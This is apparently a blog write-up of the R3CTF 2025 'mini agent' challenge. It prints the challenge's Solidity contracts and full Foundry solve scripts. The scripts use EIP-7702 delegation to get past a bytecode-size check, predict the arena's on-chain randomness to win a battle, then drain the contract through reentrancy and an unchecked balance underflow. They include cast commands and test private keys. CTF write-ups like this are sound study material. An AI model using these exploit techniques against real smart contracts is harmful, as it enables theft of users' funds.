Post

R3CTF 2025 - mini agent

R3CTF 2025 - mini agent

R3CTF 2025 - mini agent

R3CTF 2025 - mini agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import "src/Arena.sol";
import "src/Boss.sol";

contract Challenge {
    Arena public immutable arena;

    constructor() payable {
        require(msg.value >= 500 ether, "Insufficient initial balance");
        arena = new Arena();

        arena.deposit{value: msg.value}();
        arena.transfer(msg.sender, msg.value - 10 ether);

        arena.createPig(1337, 196, 101);
        arena.createPig(1234, 222, 111);
        arena.createPig(1111, 233, 110);

        arena.createPig(2025, 456, 233);
        arena.createPig(1999, 567, 222);
        arena.createPig(1898, 666, 211);


        Boss boss = new Boss();
        arena.registerAdmin(address(this), address(boss));

        arena.claimPig();
        arena.claimPig();
        arena.claimPig();

        arena.transferOwnership(msg.sender);
    }

    function isSolved() external view returns (bool) {
        return address(msg.sender).balance > 500 ether;
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
// Arena.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import "./Randomness.sol";
import "./IERC20.sol";
import "./IAgent.sol";

contract Arena is IERC20 {
    address public owner;
    modifier onlyOwner() {
        require(msg.sender == owner, "Who are you?");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "No address");
        owner = newOwner;
    }

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    struct Pig {
        uint256 health;
        uint256 attack;
        uint256 defense;
    }

    Pig[] public pigs;

    struct PlayerInfo {
        address agent;
        Pig[] pigs;
    }

    mapping(address => PlayerInfo) public playerInfo;

    modifier onlyRegistered(address player) {
        require(playerInfo[player].agent != address(0), "Not registered");
        _;
    }

    struct Battle {
        address player1;
        address player2;
        uint256 wager;
    }

    Battle[] public battleStack;

    Randomness public randomness;


    event BattleResult(
        address indexed player1,
        address indexed player2,
        uint256 winner,
        uint256 wager
    );

    constructor() {
        owner = msg.sender;
        randomness = new Randomness();
    }


    function deposit() public payable {
        unchecked {
            balanceOf[msg.sender] += msg.value;
        }
    }

    function withdraw(uint amount) public {
        require(balanceOf[msg.sender] >= amount, "Too low");
        require(amount >= 10 ether, "So little");
        require(tx.origin == msg.sender, "No call");

        payable(msg.sender).call{value: amount, gas: 5000}("");
        unchecked {
            balanceOf[msg.sender] -= amount;
        }
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address to, uint amount) public returns (bool) {
        allowance[msg.sender][to] = amount;
        return true;
    }

    function transfer(address to, uint amount) public returns (bool) {
        uint256 rbalance = balanceOf[msg.sender];
        require(rbalance >= amount, "Too low");

        unchecked {
            balanceOf[msg.sender] = rbalance - amount;
            balanceOf[to] += amount;
        }

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint amount
    ) public returns (bool) {
        require(balanceOf[from] >= amount, "Too low");

        if (from != msg.sender && allowance[from][msg.sender] != type(uint).max) {
            require(allowance[from][msg.sender] >= amount, "Not approved");
            unchecked {
                allowance[from][msg.sender] -= amount;
            }
        }

        unchecked {
            balanceOf[from] -= amount;
            balanceOf[to] += amount;
        }

        return true;
    }

    function claim(uint256 amount) public onlyOwner {
        payable(msg.sender).transfer(amount);
    }


    function createPig(uint256 health, uint256 attack, uint256 defense) public onlyOwner {
        pigs.push(Pig(health, attack, defense));
    }

    function register(address agent) public {
        require(agent != address(0), "No address");
        require(balanceOf[msg.sender] >= 1 ether, "So poor");
        require(tx.origin == msg.sender, "No call");
        require(msg.sender.code.length == 0, "No contract");

        unchecked {
            balanceOf[msg.sender] -= 1 ether;
        }

        uint256 codeSize = agent.code.length;
        require(codeSize > 0, "Deploy first");
        require(codeSize < 100, "Too big");

        bytes memory data = new bytes(codeSize);
        assembly {
            extcodecopy(agent, add(data, 0x20), 0, codeSize)
        }

        for(uint256 i = 0; i < codeSize; i++) {
            uint8 b = uint8(data[i]);
            if((b >= 0xf0 && b <= 0xf2) || (b >= 0xf4 && b <= 0xf5) || (b == 0xff)) {
                revert("Do yourself");
            }
        }

        playerInfo[msg.sender].agent = agent;
    }

    function registerAdmin(address player, address agent) public onlyOwner {
        require(player != address(0), "No address");
        require(agent != address(0), "No agent");

        playerInfo[player].agent = agent;
    }

    function claimPig() public onlyRegistered(msg.sender) {
        require(pigs.length > 0, "No pigs available");

        PlayerInfo storage info = playerInfo[msg.sender];
        require(info.pigs.length < 3, "Too many pigs");

        Pig memory pig = pigs[pigs.length - 1];
        pigs.pop();
        info.pigs.push(pig);
    }

    function requestBattle(address opponent, uint256 wager) public onlyRegistered(msg.sender) onlyRegistered(opponent) {
        require(opponent != address(0), "No opponent");
        require(opponent != msg.sender, "Cannot battle yourself");
        require(wager >= 1 ether, "Invalid wager");
        require(battleStack.length < 10, "Battle stack full");

        battleStack.push(Battle({
            player1: msg.sender,
            player2: opponent,
            wager: wager
        }));
    }

    function getBattleCount() public view returns (uint256) {
        return battleStack.length;
    }

    function processBattle(uint256 randomnessSeed) public onlyOwner {
        require(battleStack.length > 0, "No battles available");

        Battle memory battle = battleStack[battleStack.length - 1];
        battleStack.pop();

        randomness.setSeed(randomnessSeed);

        _processBattle(battle.player1, battle.player2, battle.wager);
    }

    //catch return data error
    function mockAcceptBattle(IAgent agent, address opponent, uint256 wager) public returns (bool) {
        return agent.acceptBattle(opponent, wager);
    }

    function mockTick(
        IAgent agent,
        address opponent,
        uint256 wager,
        uint256 round,
        Pig[] memory fromPigs,
        Pig[] memory toPigs
    ) public returns (uint256 fromWhich, uint256 toWhich, uint256 r) {
        return agent.tick(opponent, wager, round, fromPigs, toPigs);
    }

    function _processBattle(
        address player1,
        address player2,
        uint256 wager
    ) internal {
        if (balanceOf[player1] < wager || balanceOf[player2] < wager) {
            return;
        }

        balanceOf[player1] -= wager;
        balanceOf[player2] -= wager;

        IAgent[2] memory agents = [
            IAgent(playerInfo[player1].agent),
            IAgent(playerInfo[player2].agent)
        ];

        bool accepted = true;
        for (uint256 i = 0; i < 2; i++) {
            try this.mockAcceptBattle(agents[i], i == 0 ? player2 : player1, wager) returns (bool result) {
                if (!result) {
                    accepted = false;
                    break;
                }
            } catch {
                accepted = false;
                break;
            }
        }

        if (!accepted) {
            return;
        }

        // If both agents accepted, proceed with the battle

        Pig[][] memory battle = new Pig[][](2);
        battle[0] = playerInfo[player1].pigs;
        battle[1] = playerInfo[player2].pigs;

        uint256 winner = 9;

        for(uint256 round = 0; round < 100 && winner > 1; round++) {
            uint256 who = round % 2;
            uint256 opponent = 1 - who;

            try this.mockTick{gas: 100000}(
                agents[who],
                who == 0 ? player2 : player1,
                wager,
                round,
                battle[who],
                battle[opponent]
            ) returns (uint256 fromWhich, uint256 toWhich, uint256 pr) {
                if (fromWhich >= battle[who].length || toWhich >= battle[opponent].length) {
                    winner = opponent;
                    break;
                }
                if (pr >= 100) {
                    winner = opponent;
                    break;
                }

                if (battle[who][fromWhich].health == 0) {
                    winner = opponent;
                    break;
                }

                uint256 rr = randomness.random() % 100;
                uint256 dis = 0;
                if (rr < pr) {
                    dis = pr - rr;
                }
                else {
                    dis = rr - pr;
                }

                uint256 boost = 1;
                if (dis == 0) {
                    boost = 5;
                } else if (dis < 10) {
                    boost = 2;
                }

                uint256 damage = battle[who][fromWhich].attack * boost;
                uint256 defense = battle[opponent][toWhich].defense;

                damage = damage > defense ? damage - defense : 0;

                if (damage > battle[opponent][toWhich].health) {
                    damage = battle[opponent][toWhich].health;
                }
                battle[opponent][toWhich].health -= damage;

                if (battle[opponent][toWhich].health == 0) {
                    uint256 totalDead = 0;
                    for (uint256 i = 0; i < battle[opponent].length; i++) {
                        if (battle[opponent][i].health == 0) {
                            totalDead++;
                        }
                    }
                    if (totalDead == battle[opponent].length) {
                        winner = who;
                        break;
                    }
                }
            } catch {
                winner = opponent;
                break;
            }
        }

        if (winner == 9) {
            balanceOf[player1] += wager - 0.1 ether;
            balanceOf[player2] += wager - 0.1 ether;
        } else if (winner == 0) {
            balanceOf[player1] += wager * 2 - 0.1 ether;
        } else if (winner == 1) {
            balanceOf[player2] += wager * 2 - 0.1 ether;
        }

        emit BattleResult(player1, player2, winner, wager);
    }
}

Challenge Overview

At first glance, it might seem like a reentrancy vulnerability exists in the withdraw function. To execute withdraw, you need to deposit 10 ETH and win a battle by catching a pig via processBattle.

To win the battle, my pig is weak and needs a boost. The player must register an agent, and this agent needs to guess the random value correctly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    function register(address agent) public {
        require(agent != address(0), "No address");
        require(balanceOf[msg.sender] >= 1 ether, "So poor");
        require(tx.origin == msg.sender, "No call");
        require(msg.sender.code.length == 0, "No contract");

         uint256 codeSize = agent.code.length;
        require(codeSize > 0, "Deploy first");
        require(codeSize < 100, "Too big");

        bytes memory data = new bytes(codeSize);
        assembly {
            extcodecopy(agent, add(data, 0x20), 0, codeSize)
        }

        for(uint256 i = 0; i < codeSize; i++) {
            uint8 b = uint8(data[i]);
            if((b >= 0xf0 && b <= 0xf2) || (b >= 0xf4 && b <= 0xf5) || (b == 0xff)) {
                revert("Do yourself");
            }
        }

However, the agent’s code size must be very small, making it practically difficult to guess the random value.

Therefore, it becomes possible by setting agent = EOA and connecting a fakeAgent (a contract address) via EIP-7702.

Once connected, the agent’s code size is designated as 0xef0100 + the CA address (e.g., 0xef01007e02f8f410db396520fa2f753c0a203c2694c765). This allows it to pass the size check, and the code length can be arbitrary.

First Step

To solve this problem, I need to execute cast commands intermittently to establish the EIP-7702 connection. This process is tedious, so I used vm.ffi. However, an account nonce issue occurred, so I divided the script into three steps.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function run() public {
    vm.startBroadcast(playerPrivateKey);
    uint64 newNonce = vm.getNonce(player);
    vm.setNonce(player, newNonce + 1);
    checkvalue();
    string
        memory agentpk_str = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
    bytes memory code = type(Attack).creationCode;
    address fakeagent;
    while (true) {
        assembly {
            fakeagent := create(0, add(code, 0x20), mload(code))
        }
        if (checkcode(bytes32(bytes20(code)))) {
            break;
        }
    }
    console.log("fakeagent", fakeagent);

    arena.deposit{value: 7 ether}();

    vm.stopBroadcast();
    string[] memory inputs2 = new string[](6);
    inputs2[0] = "cast";
    inputs2[1] = "wallet";
    inputs2[2] = "sign-auth"; // 'to' 주소
    inputs2[3] = vm.toString(fakeagent); // 'to' 주소

    inputs2[4] = "--private-key"; // 호출할 함수 시그니처
    inputs2[5] = (agentpk_str); // 첫 번째 인자
    bytes memory result = vm.ffi(inputs2);
    string[] memory inputs1 = new string[](2);
    inputs1[0] = "sleep";
    inputs1[1] = "2";
    vm.ffi(inputs1);
    // --- player 계정으로 ffi를 통해 트랜잭션을 보내기 전, 사용할 논스를 기록 ---
    uint64 nonceToUse = vm.getNonce(player);
    console.log("Nonce to use for player (script):", nonceToUse);

    string[] memory inputs = new string[](7);
    inputs[0] = "cast";
    inputs[1] = "send";
    inputs[2] = "0x0000000000000000000000000000000000000000"; // 'to' 주소
    inputs[3] = "--private-key"; // 호출할 함수 시그니처
    inputs[
        4
    ] = "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97"; // 첫 번째 인자
    inputs[5] = "--auth"; // 두 번째 인자
    inputs[6] = vm.toString(result);

    result = vm.ffi(inputs);
}

Through this, the agent is now delegated to the Attack contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
contract Attack is IAgent {
    uint256 private seed;
    uint256 cnt;
    Arena arena;
    Randomness rand;
    event Log(uint256);
    function acceptBattle(
        address opponent,
        uint256 wager
    ) external override returns (bool) {
        // Always accept the battle
        arena = Arena(msg.sender);
        return true;
    }

    function random() public returns (uint256) {
        rand = arena.randomness();
        seed = rand.random();
        seed = uint256(
            keccak256(abi.encodePacked(block.prevrandao, arena, seed))
        );
        emit Log(block.prevrandao);
        return seed;
    }

    function tick(
        address opponent,
        uint256 wager,
        uint256 round,
        Arena.Pig[] memory fromPigs,
        Arena.Pig[] memory toPigs
    )
        external
        override
        returns (uint256 fromWhich, uint256 toWhich, uint256 r)
    {
        uint256 maxAttack = 0;
        for (uint256 i = 0; i < fromPigs.length; i++) {
            if (fromPigs[i].health > 0 && fromPigs[i].attack > maxAttack) {
                maxAttack = fromPigs[i].attack;
                fromWhich = i;
            }
        }

        maxAttack = 0;
        for (uint256 i = 0; i < toPigs.length; i++) {
            if (toPigs[i].health > 0 && toPigs[i].attack > maxAttack) {
                maxAttack = toPigs[i].attack;
                toWhich = i;
            }
        }
        r = this.random() % 100;

        return (fromWhich, toWhich, r);
    }
}

The process of predicting the random() value involves calling random() again on the actual Randomness contract and using the returned seed to predict the next value.

Second Step

Once the connection is established, register this agent and request a battle.

In the remote environment, there’s a bot that automatically accepts processBattle, but locally, the owner must execute it manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function run() public {
    vm.startBroadcast(playerPrivateKey);
    uint64 nonceToUse = vm.getNonce(player);
    console.log("Nonce to use for player (script):", nonceToUse);
    // vm.setNonce(player, nonceToUse + 2);
    checkvalue();
    string
        memory agentpk_str = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
    bytes memory code = type(Attack).creationCode;
    address fakeagent;
    address agent = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    // agent 등록 code size < 100...
    console.log("codelength", agent.code.length);
    arena.register(address(agent));

    arena.claimPig();
    arena.claimPig();
    arena.claimPig();

    arena.requestBattle(address(problemInstance), 6 ether);

    vm.stopBroadcast();
    vm.startBroadcast(
        0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6
    );
    arena.processBattle(100);
    vm.stopBroadcast();
}

Then, I’ll win 6 ether * 2, accumulating enough ether to call withdraw.

Third Step

1
2
3
4
5
6
7
8
9
10
function withdraw(uint amount) public {
    require(balanceOf[msg.sender] >= amount, "Too low");
    require(amount >= 10 ether, "So little");
    require(tx.origin == msg.sender, "No call");

    payable(msg.sender).call{value: amount, gas: 5000}("");
    unchecked {
        balanceOf[msg.sender] -= amount;
    }
}

Here, msg.sender must be an EOA. To perform a reentrancy attack, I need to create an AA (Account Abstraction) structure where an EOA is connected to a CA (Contract Address).

Similarly, I’ll connect via cast and create a contract named Reent to perform the desired attack.

Another issue is the gas limit of 5000. In a transaction, the first access to storage (a cold access) costs about 2100 gas, while a subsequent access (a warm access) costs only 100 gas, which is a significant difference.

This means it’s difficult to execute withdraw multiple times with just 5000 gas. Instead, I need to create an underflow issue in the balance to withdraw a large amount of money.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Reent {
    function attack(address arena) external {
        Arena(arena).transfer(address(0x0), 10);
        Arena(arena).withdraw(Arena(arena).balanceOf(address(this)));
        Arena(arena).balanceOf(address(this));
        Arena(arena).withdraw(address(arena).balance);
    }

    receive() external payable {
        assembly {
            mstore(
                0x00,
                0xa9059cbb00000000000000000000000000000000000000000000000000000000
            ) // selector
            mstore(0x24, 1) // amount = 1  (0x20 + 4 = 0x24)

            let ok := call(gas(), caller(), 0, 0x00, 0x44, 0x00, 0x00)
        }
    }
}

Here, I first access Arena.balanceOf(address(this)) through transfer to warm up the storage slot. Then, I re-enter the withdraw function through the receive fallback and withdraw more money. In the final unchecked block, because the balance has been reduced more than expected, an underflow occurs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function run() public {
    vm.startBroadcast(playerPrivateKey);
    checkvalue();
    uint64 nonceToUse = vm.getNonce(player);
    console.log("Nonce to use for player (script):", nonceToUse);
    vm.setNonce(player, nonceToUse + 2);
    // player에 Reentry 설정
    bytes memory code = type(Reent).creationCode;
    address reentAddr;
    assembly {
        reentAddr := create2(0, add(code, 0x20), mload(code), hex"15")
    }
    console.log("Reenter address", reentAddr);
    string[] memory inputs2 = new string[](7);
    inputs2[0] = "cast";
    inputs2[1] = "send";
    inputs2[2] = "0x0000000000000000000000000000000000000000"; // 'to' 주소

    inputs2[3] = "--private-key"; // 호출할 함수 시그니처
    inputs2[
        4
    ] = "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97"; // 첫 번째 인자
    inputs2[5] = "--auth";
    inputs2[6] = vm.toString(reentAddr);
    bytes memory result = vm.ffi(inputs2);

    Reent(payable(player)).attack(address(arena));
    checkvalue();
    vm.stopBroadcast();
}

When running this script for the first time, it will error out. The tracing process doesn’t recognize the cast command, so while there’s no issue on-chain, the trace reverts. If you run the script again, the on-chain state will have the player delegated to Reent, so the trace will work correctly and the attack will execute.

Screenshot 2025-07-07 at 16.03.31

src, script github

https://github.com/wiimdy/blog/tree/master/writeup/R3CTF_mini_agnet

This post is licensed under CC BY 4.0 by the author.